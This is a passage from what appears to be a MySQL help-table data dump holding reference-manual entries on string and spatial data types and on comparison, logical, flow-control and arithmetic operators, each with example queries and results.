protocol and\navailable memory. Each LONGBLOB value is stored using a 4-byte length\nprefix that indicates the number of bytes in the value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(45,'LONGTEXT',2,'LONGTEXT [CHARACTER SET charset_name] [COLLATE collation_name]\n\nA TEXT column with a maximum length of 4,294,967,295 or 4GB (232 − 1)\ncharacters. The effective maximum length is less if the value contains\nmultibyte characters. The effective maximum length of LONGTEXT columns\nalso depends on the configured maximum packet size in the client/server\nprotocol and available memory. Each LONGTEXT value is stored using a\n4-byte length prefix that indicates the number of bytes in the value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(46,'ENUM',2,'ENUM(\'value1\',\'value2\',...) [CHARACTER SET charset_name] [COLLATE\ncollation_name]\n\nAn enumeration. A string object that can have only one value, chosen\nfrom the list of values \'value1\', \'value2\', ..., NULL or the special \'\'\nerror value. ENUM values are represented internally as integers.\n\nAn ENUM column can have a maximum of 65,535 distinct elements.\n\nThe maximum supported length of an individual ENUM element is M <= 255\nand (M x w) <= 1020, where M is the element literal length and w is the\nnumber of bytes required for the maximum-length character in the\ncharacter set.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(47,'SET DATA TYPE',2,'SET(\'value1\',\'value2\',...) [CHARACTER SET charset_name] [COLLATE\ncollation_name]\n\nA set. A string object that can have zero or more values, each of which\nmust be chosen from the list of values \'value1\', \'value2\', ... SET\nvalues are represented internally as integers.\n\nA SET column can have a maximum of 64 distinct members.\n\nThe maximum supported length of an individual SET element is M <= 255\nand (M x w) <= 1020, where M is the element literal length and w is the\nnumber of bytes required for the maximum-length character in the\ncharacter set.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/string-type-syntax.html'),(48,'BLOB DATA TYPE',2,'A BLOB is a binary large object that can hold a variable amount of\ndata. The four BLOB types are TINYBLOB, BLOB, MEDIUMBLOB, and LONGBLOB.\nThese differ only in the maximum length of the values they can hold.\nThe four TEXT types are TINYTEXT, TEXT, MEDIUMTEXT, and LONGTEXT. These\ncorrespond to the four BLOB types and have the same maximum lengths and\nstorage requirements. See\nhttps://dev.mysql.com/doc/refman/8.0/en/storage-requirements.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/blob.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/blob.html'),(49,'GEOMETRY HIERARCHY',7,'Geometry is the base class. It is an abstract class. The instantiable\nsubclasses of Geometry are restricted to zero-, one-, and\ntwo-dimensional geometric objects that exist in two-dimensional\ncoordinate space. All instantiable geometry classes are defined so that\nvalid instances of a geometry class are topologically closed (that is,\nall defined geometries include their boundary).\n\nThe base Geometry class has subclasses for Point, Curve, Surface, and\nGeometryCollection:\n\no Point represents zero-dimensional objects.\n\no Curve represents one-dimensional objects, and has subclass\n LineString, with sub-subclasses Line and LinearRing.\n\no Surface is designed for two-dimensional objects and has subclass\n Polygon.\n\no GeometryCollection has specialized zero-, one-, and two-dimensional\n collection classes named MultiPoint, MultiLineString, and\n MultiPolygon for modeling geometries corresponding to collections of\n Points, LineStrings, and Polygons, respectively. MultiCurve and\n MultiSurface are introduced as abstract superclasses that generalize\n the collection interfaces to handle Curves and Surfaces.\n\nGeometry, Curve, Surface, MultiCurve, and MultiSurface are defined as\nnoninstantiable classes. They define a common set of methods for their\nsubclasses and are included for extensibility.\n\nPoint, LineString, Polygon, GeometryCollection, MultiPoint,\nMultiLineString, and MultiPolygon are instantiable classes.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-geometry-class-hierarchy.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-geometry-class-hierarchy.html'),(50,'MBR DEFINITION',8,'Its MBR (minimum bounding rectangle), or envelope. This is the bounding\ngeometry, formed by the minimum and maximum (X,Y) coordinates:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-class-geometry.html\n\n','((MINX MINY, MAXX MINY, MAXX MAXY, MINX MAXY, MINX MINY))\n','https://dev.mysql.com/doc/refman/8.0/en/gis-class-geometry.html'),(51,'WKT DEFINITION',9,'The Well-Known Text (WKT) representation of geometry values is designed\nfor exchanging geometry data in ASCII form. The OpenGIS specification\nprovides a Backus-Naur grammar that specifies the formal production\nrules for writing WKT values (see\nhttps://dev.mysql.com/doc/refman/8.0/en/spatial-types.html).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/gis-data-formats.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/gis-data-formats.html'),(52,'SPATIAL COLUMNS',7,'MySQL provides a standard way of creating spatial columns for geometry\ntypes, for example, with CREATE TABLE or ALTER TABLE. Spatial columns\nare supported for MyISAM, InnoDB, NDB, and ARCHIVE tables. See also the\nnotes about spatial indexes under [HELP SPATIAL indexes].\n\nColumns with a spatial data type can have an SRID attribute, to\nexplicitly indicate the spatial reference system (SRS) for values\nstored in the column. For implications of an SRID-restricted column,\nsee https://dev.mysql.com/doc/refman/8.0/en/spatial-type-overview.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/creating-spatial-columns.html\n\n','CREATE TABLE geom (g GEOMETRY);\n','https://dev.mysql.com/doc/refman/8.0/en/creating-spatial-columns.html'),(53,'SPATIAL INDEXES',7,'For InnoDB and MyISAM tables, MySQL can create spatial indexes using\nsyntax similar to that for creating regular indexes, but using the\nSPATIAL keyword. Columns in spatial indexes must be declared NOT NULL.\nThe following examples demonstrate how to create spatial indexes:\n\no With CREATE TABLE:\n\nCREATE TABLE geom (g GEOMETRY NOT NULL SRID 4326, SPATIAL INDEX(g));\n\no With ALTER TABLE:\n\nCREATE TABLE geom (g GEOMETRY NOT NULL SRID 4326);\nALTER TABLE geom ADD SPATIAL INDEX(g);\n\no With CREATE INDEX:\n\nCREATE TABLE geom (g GEOMETRY NOT NULL SRID 4326);\nCREATE SPATIAL INDEX g ON geom (g);\n\nSPATIAL INDEX creates an R-tree index. For storage engines that support\nnonspatial indexing of spatial columns, the engine creates a B-tree\nindex. A B-tree index on spatial values is useful for exact-value\nlookups, but not for range scans.\n\nThe optimizer can use spatial indexes defined on columns that are\nSRID-restricted. For more information, see\nhttps://dev.mysql.com/doc/refman/8.0/en/spatial-type-overview.html, and\nhttps://dev.mysql.com/doc/refman/8.0/en/spatial-index-optimization.html\n.\n\nFor more information on indexing spatial columns, see [HELP CREATE\nINDEX].\n\nTo drop spatial indexes, use ALTER TABLE or DROP INDEX:\n\no With ALTER TABLE:\n\nALTER TABLE geom DROP INDEX g;\n\no With DROP INDEX:\n\nDROP INDEX g ON geom;\n\nExample: Suppose that a table geom contains more than 32,000\ngeometries, which are stored in the column g of type GEOMETRY. The\ntable also has an AUTO_INCREMENT column fid for storing object ID\nvalues.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/creating-spatial-indexes.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/creating-spatial-indexes.html'),(54,'=',10,'=\n\nEqual:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 1 = 0;\n -> 0\nmysql> SELECT \'0\' = 0;\n -> 1\nmysql> SELECT \'0.0\' = 0;\n -> 1\nmysql> SELECT \'0.01\' = 0;\n -> 0\nmysql> SELECT \'.01\' = 0.01;\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(55,'<=>',10,'Syntax:\n<=>\n\nNULL-safe equal. This operator performs an equality comparison like the\n= operator, but returns 1 rather than NULL if both operands are NULL,\nand 0 rather than NULL if one operand is NULL.\n\nThe <=> operator is equivalent to the standard SQL IS NOT DISTINCT FROM\noperator.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 1 <=> 1, NULL <=> NULL, 1 <=> NULL;\n -> 1, 1, 0\nmysql> SELECT 1 = 1, NULL = NULL, 1 = NULL;\n -> 1, NULL, NULL\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(56,'!=',10,'Syntax:\n<>, !=\n\nNot equal:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT \'.01\' <> \'0.01\';\n -> 1\nmysql> SELECT .01 <> \'0.01\';\n -> 0\nmysql> SELECT \'zapp\' <> \'zappp\';\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(57,'<=',10,'Syntax:\n<=\n\nLess than or equal:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 0.1 <= 2;\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(58,'<',10,'Syntax:\n<\n\nLess than:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 2 < 2;\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(59,'>=',10,'Syntax:\n>=\n\nGreater than or equal:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 2 >= 2;\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(60,'>',10,'Syntax:\n>\n\nGreater than:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 2 > 2;\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(61,'BETWEEN AND',10,'Syntax:\nexpr BETWEEN min AND max\n\nIf expr is greater than or equal to min and expr is less than or equal\nto max, BETWEEN returns 1, otherwise it returns 0. This is equivalent\nto the expression (min <= expr AND expr <= max) if all the arguments\nare of the same type. Otherwise type conversion takes place according\nto the rules described in\nhttps://dev.mysql.com/doc/refman/8.0/en/type-conversion.html, but\napplied to all the three arguments.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 2 BETWEEN 1 AND 3, 2 BETWEEN 3 and 1;\n -> 1, 0\nmysql> SELECT 1 BETWEEN 2 AND 3;\n -> 0\nmysql> SELECT \'b\' BETWEEN \'a\' AND \'c\';\n -> 1\nmysql> SELECT 2 BETWEEN 2 AND \'3\';\n -> 1\nmysql> SELECT 2 BETWEEN 2 AND \'x-3\';\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(62,'NOT BETWEEN',10,'Syntax:\nexpr NOT BETWEEN min AND max\n\nThis is the same as NOT (expr BETWEEN min AND max).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(63,'COALESCE',10,'Syntax:\nCOALESCE(value,...)\n\nReturns the first non-NULL value in the list, or NULL if there are no\nnon-NULL values.\n\nThe return type of COALESCE() is the aggregated type of the argument\ntypes.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT COALESCE(NULL,1);\n -> 1\nmysql> SELECT COALESCE(NULL,NULL,NULL);\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(64,'EXISTS',10,'Syntax:\nEXISTS(query)\n\nWhether the result of a query contains any rows.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','CREATE TABLE t (col VARCHAR(3));\nINSERT INTO t VALUES (\'aaa\', \'bbb\', \'ccc\', \'eee\');\n\nSELECT EXISTS (SELECT * FROM t WHERE col LIKE \'c%\');\n -> 1\n\nSELECT EXISTS (SELECT * FROM t WHERE col LIKE \'d%\');\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(65,'NOT EXISTS',10,'Syntax:\nNOT EXISTS(query)\n\nWhether the result of a query contains no rows:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','SELECT NOT EXISTS (SELECT * FROM t WHERE col LIKE \'c%\');\n -> 0\n\nSELECT NOT EXISTS (SELECT * FROM t WHERE col LIKE \'d%\');\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(66,'GREATEST',10,'Syntax:\nGREATEST(value1,value2,...)\n\nWith two or more arguments, returns the largest (maximum-valued)\nargument. The arguments are compared using the same rules as for\nLEAST().\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT GREATEST(2,0);\n -> 2\nmysql> SELECT GREATEST(34.0,3.0,5.0,767.0);\n -> 767.0\nmysql> SELECT GREATEST(\'B\',\'A\',\'C\');\n -> \'C\'\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(67,'IN',10,'Syntax:\nexpr IN (value,...)\n\nReturns 1 (true) if expr is equal to any of the values in the IN()\nlist, else returns 0 (false).\n\nType conversion takes place according to the rules described in\nhttps://dev.mysql.com/doc/refman/8.0/en/type-conversion.html, applied\nto all the arguments. If no type conversion is needed for the values in\nthe IN() list, they are all non-JSON constants of the same type, and\nexpr can be compared to each of them as a value of the same type\n(possibly after type conversion), an optimization takes place. The\nvalues the list are sorted and the search for expr is done using a\nbinary search, which makes the IN() operation very quick.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 2 IN (0,3,5,7);\n -> 0\nmysql> SELECT \'wefwf\' IN (\'wee\',\'wefwf\',\'weg\');\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(68,'NOT IN',10,'Syntax:\nexpr NOT IN (value,...)\n\nThis is the same as NOT (expr IN (value,...)).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(69,'INTERVAL',10,'Syntax:\nINTERVAL(N,N1,N2,N3,...)\n\nReturns 0 if N <= N1, 1 if N <= N2 and so on, or -1 if N is NULL. All\narguments are treated as integers. It is required that N1 <= N2 <= N3\n<= ... <= Nn for this function to work correctly. This is because a\nbinary search is used (very fast).\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT INTERVAL(23, 1, 15, 17, 30, 44, 200);\n -> 3\nmysql> SELECT INTERVAL(10, 1, 10, 100, 1000);\n -> 2\nmysql> SELECT INTERVAL(22, 23, 30, 44, 200);\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(70,'IS',10,'Syntax:\nIS boolean_value\n\nTests a value against a boolean value, where boolean_value can be TRUE,\nFALSE, or UNKNOWN.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 1 IS TRUE, 0 IS FALSE, NULL IS UNKNOWN;\n -> 1, 1, 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(71,'IS NOT',10,'Syntax:\nIS NOT boolean_value\n\nTests a value against a boolean value, where boolean_value can be TRUE,\nFALSE, or UNKNOWN.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 1 IS NOT UNKNOWN, 0 IS NOT UNKNOWN, NULL IS NOT UNKNOWN;\n -> 1, 1, 0\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(72,'IS NULL',10,'Syntax:\nIS NULL\n\nTests whether a value is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 1 IS NULL, 0 IS NULL, NULL IS NULL;\n -> 0, 0, 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(73,'IS NOT NULL',10,'Syntax:\nIS NOT NULL\n\nTests whether a value is not NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT 1 IS NOT NULL, 0 IS NOT NULL, NULL IS NOT NULL;\n -> 1, 1, 0\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(74,'ISNULL',10,'Syntax:\nISNULL(expr)\n\nIf expr is NULL, ISNULL() returns 1, otherwise it returns 0.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT ISNULL(1+1);\n -> 0\nmysql> SELECT ISNULL(1/0);\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(75,'LEAST',10,'Syntax:\nLEAST(value1,value2,...)\n\nWith two or more arguments, returns the smallest (minimum-valued)\nargument. The arguments are compared using the following rules:\n\no If any argument is NULL, the result is NULL. No comparison is needed.\n\no If all arguments are integer-valued, they are compared as integers.\n\no If at least one argument is double precision, they are compared as\n double-precision values. Otherwise, if at least one argument is a\n DECIMAL value, they are compared as DECIMAL values.\n\no If the arguments comprise a mix of numbers and strings, they are\n compared as strings.\n\no If any argument is a nonbinary (character) string, the arguments are\n compared as nonbinary strings.\n\no In all other cases, the arguments are compared as binary strings.\n\nThe return type of LEAST() is the aggregated type of the comparison\nargument types.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html\n\n','mysql> SELECT LEAST(2,0);\n -> 0\nmysql> SELECT LEAST(34.0,3.0,5.0,767.0);\n -> 3.0\nmysql> SELECT LEAST(\'B\',\'A\',\'C\');\n -> \'A\'\n','https://dev.mysql.com/doc/refman/8.0/en/comparison-operators.html'),(76,'!',11,'Syntax:\nNOT, !\n\nLogical NOT. Evaluates to 1 if the operand is 0, to 0 if the operand is\nnonzero, and NOT NULL returns NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html\n\n','mysql> SELECT NOT 10;\n -> 0\nmysql> SELECT NOT 0;\n -> 1\nmysql> SELECT NOT NULL;\n -> NULL\nmysql> SELECT ! (1+1);\n -> 0\nmysql> SELECT ! 1+1;\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html'),(77,'AND',11,'Syntax:\nAND, &&\n\nLogical AND. Evaluates to 1 if all operands are nonzero and not NULL,\nto 0 if one or more operands are 0, otherwise NULL is returned.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html\n\n','mysql> SELECT 1 AND 1;\n -> 1\nmysql> SELECT 1 AND 0;\n -> 0\nmysql> SELECT 1 AND NULL;\n -> NULL\nmysql> SELECT 0 AND NULL;\n -> 0\nmysql> SELECT NULL AND 0;\n -> 0\n','https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html'),(78,'OR',11,'Syntax:\nOR, ||\n\nLogical OR. When both operands are non-NULL, the result is 1 if any\noperand is nonzero, and 0 otherwise. With a NULL operand, the result is\n1 if the other operand is nonzero, and NULL otherwise. If both operands\nare NULL, the result is NULL.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html\n\n','mysql> SELECT 1 OR 1;\n -> 1\nmysql> SELECT 1 OR 0;\n -> 1\nmysql> SELECT 0 OR 0;\n -> 0\nmysql> SELECT 0 OR NULL;\n -> NULL\nmysql> SELECT 1 OR NULL;\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html'),(79,'XOR',11,'Syntax:\nXOR\n\nLogical XOR. Returns NULL if either operand is NULL. For non-NULL\noperands, evaluates to 1 if an odd number of operands is nonzero,\notherwise 0 is returned.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html\n\n','mysql> SELECT 1 XOR 1;\n -> 0\nmysql> SELECT 1 XOR 0;\n -> 1\nmysql> SELECT 1 XOR NULL;\n -> NULL\nmysql> SELECT 1 XOR 1 XOR 1;\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/logical-operators.html'),(80,'ASSIGN-VALUE',11,'Syntax:\n:=\n\nAssignment operator. Causes the user variable on the left hand side of\nthe operator to take on the value to its right. The value on the right\nhand side may be a literal value, another variable storing a value, or\nany legal expression that yields a scalar value, including the result\nof a query (provided that this value is a scalar value). You can\nperform multiple assignments in the same SET statement. You can perform\nmultiple assignments in the same statement.\n\nUnlike =, the := operator is never interpreted as a comparison\noperator. This means you can use := in any valid SQL statement (not\njust in SET statements) to assign a value to a variable.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/assignment-operators.html\n\n','mysql> SELECT @var1, @var2;\n -> NULL, NULL\nmysql> SELECT @var1 := 1, @var2;\n -> 1, NULL\nmysql> SELECT @var1, @var2;\n -> 1, NULL\nmysql> SELECT @var1, @var2 := @var1;\n -> 1, 1\nmysql> SELECT @var1, @var2;\n -> 1, 1\n\nmysql> SELECT @var1:=COUNT(*) FROM t1;\n -> 4\nmysql> SELECT @var1;\n -> 4\n','https://dev.mysql.com/doc/refman/8.0/en/assignment-operators.html'),(81,'ASSIGN-EQUAL',11,'Syntax:\n=\n\nThis operator is used to perform value assignments in two cases,\ndescribed in the next two paragraphs.\n\nWithin a SET statement, = is treated as an assignment operator that\ncauses the user variable on the left hand side of the operator to take\non the value to its right. (In other words, when used in a SET\nstatement, = is treated identically to :=.) The value on the right hand\nside may be a literal value, another variable storing a value, or any\nlegal expression that yields a scalar value, including the result of a\nquery (provided that this value is a scalar value). You can perform\nmultiple assignments in the same SET statement.\n\nIn the SET clause of an UPDATE statement, = also acts as an assignment\noperator; in this case, however, it causes the column named on the left\nhand side of the operator to assume the value given to the right,\nprovided any WHERE conditions that are part of the UPDATE are met. You\ncan make multiple assignments in the same SET clause of an UPDATE\nstatement.\n\nIn any other context, = is treated as a comparison operator.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/assignment-operators.html\n\n','mysql> SELECT @var1, @var2;\n -> NULL, NULL\nmysql> SELECT @var1 := 1, @var2;\n -> 1, NULL\nmysql> SELECT @var1, @var2;\n -> 1, NULL\nmysql> SELECT @var1, @var2 := @var1;\n -> 1, 1\nmysql> SELECT @var1, @var2;\n -> 1, 1\n','https://dev.mysql.com/doc/refman/8.0/en/assignment-operators.html'),(82,'CASE OPERATOR',12,'Syntax:\nCASE value WHEN compare_value THEN result [WHEN compare_value THEN\nresult ...] [ELSE result] END\n\nCASE WHEN condition THEN result [WHEN condition THEN result ...] [ELSE\nresult] END\n\nThe first CASE syntax returns the result for the first\nvalue=compare_value comparison that is true. The second syntax returns\nthe result for the first condition that is true. If no comparison or\ncondition is true, the result after ELSE is returned, or NULL if there\nis no ELSE part.\n\n*Note*:\n\nThe syntax of the CASE operator described here differs slightly from\nthat of the SQL CASE statement described in [HELP CASE statement], for\nuse inside stored programs. The CASE statement cannot have an ELSE NULL\nclause, and it is terminated with END CASE instead of END.\n\nThe return type of a CASE expression result is the aggregated type of\nall result values:\n\no If all types are numeric, the aggregated type is also numeric:\n\n o If at least one argument is double precision, the result is double\n precision.\n\n o Otherwise, if at least one argument is DECIMAL, the result is\n DECIMAL.\n\n o Otherwise, the result is an integer type (with one exception):\n\n o If all integer types are all signed or all unsigned, the result\n is the same sign and the precision is the highest of all\n specified integer types (that is, TINYINT, SMALLINT, MEDIUMINT,\n INT, or BIGINT).\n\n o If there is a combination of signed and unsigned integer types,\n the result is signed and the precision may be higher. For\n example, if the types are signed INT and unsigned INT, the result\n is signed BIGINT.\n\n o The exception is unsigned BIGINT combined with any signed integer\n type. The result is DECIMAL with sufficient precision and scale\n 0.\n\no If all types are BIT, the result is BIT. Otherwise, BIT arguments are\n treated similar to BIGINT.\n\no If all types are YEAR, the result is YEAR. Otherwise, YEAR arguments\n are treated similar to INT.\n\no If all types are character string (CHAR or VARCHAR), the result is\n VARCHAR with maximum length determined by the longest character\n length of the operands.\n\no If all types are character or binary string, the result is VARBINARY.\n\no SET and ENUM are treated similar to VARCHAR; the result is VARCHAR.\n\no If all types are JSON, the result is JSON.\n\no If all types are temporal, the result is temporal:\n\n o If all temporal types are DATE, TIME, or TIMESTAMP, the result is\n DATE, TIME, or TIMESTAMP, respectively.\n\n o Otherwise, for a mix of temporal types, the result is DATETIME.\n\no If all types are GEOMETRY, the result is GEOMETRY.\n\no If any type is BLOB, the result is BLOB.\n\no For all other type combinations, the result is VARCHAR.\n\no Literal NULL operands are ignored for type aggregation.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html\n\n','mysql> SELECT CASE 1 WHEN 1 THEN \'one\'\n -> WHEN 2 THEN \'two\' ELSE \'more\' END;\n -> \'one\'\nmysql> SELECT CASE WHEN 1>0 THEN \'true\' ELSE \'false\' END;\n -> \'true\'\nmysql> SELECT CASE BINARY \'B\'\n -> WHEN \'a\' THEN 1 WHEN \'b\' THEN 2 END;\n -> NULL\n','https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html'),(83,'IF FUNCTION',12,'Syntax:\nIF(expr1,expr2,expr3)\n\nIf expr1 is TRUE (expr1 <> 0 and expr1 IS NOT NULL), IF() returns\nexpr2. Otherwise, it returns expr3.\n\n*Note*:\n\nThere is also an IF statement, which differs from the IF() function\ndescribed here. See [HELP IF statement].\n\nIf only one of expr2 or expr3 is explicitly NULL, the result type of\nthe IF() function is the type of the non-NULL expression.\n\nThe default return type of IF() (which may matter when it is stored\ninto a temporary table) is calculated as follows:\n\no If expr2 or expr3 produce a string, the result is a string.\n\n If expr2 and expr3 are both strings, the result is case-sensitive if\n either string is case-sensitive.\n\no If expr2 or expr3 produce a floating-point value, the result is a\n floating-point value.\n\no If expr2 or expr3 produce an integer, the result is an integer.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html\n\n','mysql> SELECT IF(1>2,2,3);\n -> 3\nmysql> SELECT IF(1<2,\'yes\',\'no\');\n -> \'yes\'\nmysql> SELECT IF(STRCMP(\'test\',\'test1\'),\'no\',\'yes\');\n -> \'no\'\n','https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html'),(84,'IFNULL',12,'Syntax:\nIFNULL(expr1,expr2)\n\nIf expr1 is not NULL, IFNULL() returns expr1; otherwise it returns\nexpr2.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html\n\n','mysql> SELECT IFNULL(1,0);\n -> 1\nmysql> SELECT IFNULL(NULL,10);\n -> 10\nmysql> SELECT IFNULL(1/0,10);\n -> 10\nmysql> SELECT IFNULL(1/0,\'yes\');\n -> \'yes\'\n','https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html'),(85,'NULLIF',12,'Syntax:\nNULLIF(expr1,expr2)\n\nReturns NULL if expr1 = expr2 is true, otherwise returns expr1. This is\nthe same as CASE WHEN expr1 = expr2 THEN NULL ELSE expr1 END.\n\nThe return value has the same type as the first argument.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html\n\n','mysql> SELECT NULLIF(1,1);\n -> NULL\nmysql> SELECT NULLIF(1,2);\n -> 1\n','https://dev.mysql.com/doc/refman/8.0/en/flow-control-functions.html'),(86,'+',13,'Syntax:\n+\n\nAddition:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html\n\n','mysql> SELECT 3+5;\n -> 8\n','https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html'),(87,'- BINARY',13,'Syntax:\n-\n\nSubtraction:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html\n\n','mysql> SELECT 3-5;\n -> -2\n','https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html'),(88,'- UNARY',13,'Syntax:\n-\n\nUnary minus. This operator changes the sign of the operand.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html\n\n','mysql> SELECT - 2;\n -> -2\n','https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html'),(89,'*',13,'Syntax:\n*\n\nMultiplication:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html\n\n','mysql> SELECT 3*5;\n -> 15\nmysql> SELECT 18014398509481984*18014398509481984.0;\n -> 324518553658426726783156020576256.0\nmysql> SELECT 18014398509481984*18014398509481984;\n -> out-of-range error\n','https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html'),(90,'/',13,'Syntax:\n/\n\nDivision:\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html\n\n','mysql> SELECT 3/5;\n -> 0.60\n','https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html'),(91,'DIV',13,'Syntax:\nDIV\n\nInteger division. Discards from the division result any fractional part\nto the right of the decimal point.\n\nIf either operand has a noninteger type, the operands are converted to\nDECIMAL and divided using DECIMAL arithmetic before converting the\nresult to BIGINT. If the result exceeds BIGINT range, an error occurs.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html\n\n','mysql> SELECT 5 DIV 2, -5 DIV 2, 5 DIV -2, -5 DIV -2;\n -> 2, -2, -2, 2\n','https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html'),(92,'%',13,'Syntax:\nN % M, N MOD M\n\nModulo operation. Returns the remainder of N divided by M. For more\ninformation, see the description for the MOD() function in\nhttps://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html\n\n','','https://dev.mysql.com/doc/refman/8.0/en/arithmetic-functions.html'),(93,'ABS',13,'Syntax:\nABS(X)\n\nReturns the absolute value of X, or NULL if X is NULL.\n\nThe result type is derived from the argument type. An implication of\nthis is that ABS(-9223372036854775808) produces an error because the\nresult cannot be stored in a signed BIGINT value.\n\nURL: https://dev.mysql.com/doc/refman/8.0/en/mathematical-functions.html\n\n','mysql> SELECT ABS(2);\n -> 2\nmysql> SELECT ABS(-32);\n -> 